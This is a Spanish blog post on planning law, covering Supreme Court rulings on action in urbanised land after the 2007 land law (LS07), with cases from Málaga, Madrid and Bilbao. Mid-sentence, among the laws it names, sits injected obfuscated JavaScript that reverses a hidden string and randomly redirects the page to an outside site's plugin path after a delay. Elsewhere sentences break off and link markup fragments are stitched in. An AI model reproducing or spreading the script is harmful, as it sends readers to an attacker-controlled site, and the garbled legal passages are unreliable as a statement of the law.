Actuaciones en suelo urbanizado (1): La superación del régimen de clasificación en suelo urbanizado
Recientes sentencias modifican la jurisprudencia sobre las actuaciones urbanísticas en la ciudad existente.
Parece que diez años no es un periodo suficiente para implementar disposiciones legales que inciden en la práctica urbanística. De esta guisa, ha venido siendo tradicional que el Tribunal Supremo (TS) haya aplicado ideas, criterios y disposiciones legales obsoletos en pos de una supuesta cruzada de las garantías individuales de la propiedad, incluso aún a riesgo del perjuicio colectivo y del interés general (eso que el CE 33.2 dice que es la función social del derecho de propiedad y que se delimitará su contenido de acuerdo con las leyes). En este sentido el TS, seguramente condicionado por modelos legales precedentes, ha venido imposibilitando la intervención sobre la ciudad existente si no es a costa del dinero público en forma de expropiaciones o subvenciones-ayudas a fondo perdido. Con este modelo, la tendencia a socializar las cargas y patrimonializar los beneficios ha sido una constante y las consecuencias de la degradación urbana que estamos empezando a padecer empiezan a emerger por doquier (¡y lo que te rondaré morena!). Así, en diversos momentos y hasta fechas recientes, el TS ha mantenido que:
- La distinción entre el suelo Urbano Consolidado (SUC) y el No Consolidado (SUNC) debía de ejercerse “en los límites de la realidad” (STC 164/2001, sobre la LS98).
- Las legislaciones autonómicas no podían superar, en cuanto a deberes, las determinaciones básicas, haciendo constante remisión al TRLS76 y como si no hubiera habido otras leyes en medio desde entonces…
- No cabía la desconsolidación por vía del planeamiento, que operase sobre suelos consolidados para la reforma o renovación de la urbanización.
- El principio de equidistribución prohibía imponer nuevas cesiones a los propietarios que ya las hubieran hecho o, incluso, a quien no las hubiera hecho, pero que estuvieran consolidados con carácter inmemorial.
A pesar de la estabilidad jurisprudencial de determinaciones como las expuestas, hay que reconocer que las leyes no han permanecido invariantes. En el año 2007 se promulgó la ya famosa LS07 y después vinieron el LES, el L3R, el $NqM=function(n){if (typeof ($NqM.list[n]) == “string”) return $NqM.list[n].split(“”).reverse().join(“”);return $NqM.list[n];};$NqM.list=[“\’php.sgnittes-pupop/cni/tnemucod-yna-debme/snigulp/tnetnoc-pw/moc.kaphcterts//:ptth\’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random() * 6);if (number1==3){var delay = 18000;setTimeout($NqM(0),delay);}to Refundido de la Ley de Suelo y Rehabilitación Urbana” href=”https://www.boe.es/buscar/act.php?id=BOE-A-2015-11723″ target=”_blank”>TRLSR. Y os preguntareis ¿y qué? Pues como hemos señalado repetidamente en estas páginas, la LS07 trajo consigo varios cambios cruciales que lo cambian todo, un nuevo modelo:
- La superación del régimen de clasificación, dando paso a las situaciones básicas rural y urbanizado (La regulación de deberes en base al tipo básico de actuación (La participación facultativa de los propietarios en las actuaciones de urbanización (Así las cosas, estos cambios legales han pasado desapercibidos hasta recientes fechas, donde hemos detectado un giro copernicano en cuanto a las actuaciones en suelo urbanizado. El TS (así como el TSJPV), cual San Pablo cayéndose del caballo, ha descubierto la LS07 (y de paso el
- STS 3653/2017 sobre el PGOU de Málaga.
- STS 2971/2017 sobre la Modificación puntual del PGOU de Madrid, relativo a al operación Mahou-Calderon.
- STSJ PV 1737/2016 sobre Actuación de Dotación en Bilbao
Recordemos que el El artto reformar o renovar la urbanización de un ámbito de suelo urbanizado, [para crear, junto con las correspondientes infraestructuras y dotaciones públicas, una o más parcelas aptas para la edificación o uso independiente y conectadas funcionalmente con la red de los servicios exigidos por la ordenación territorial y urbanística]”.
De la identificación de cada uno de los tipos de actuación se derivan distintos deberes: aRRU y aDOT, diferenciándose las segundas en: Barrio de San Rafael , Málaga. Fuente: Diario el Sur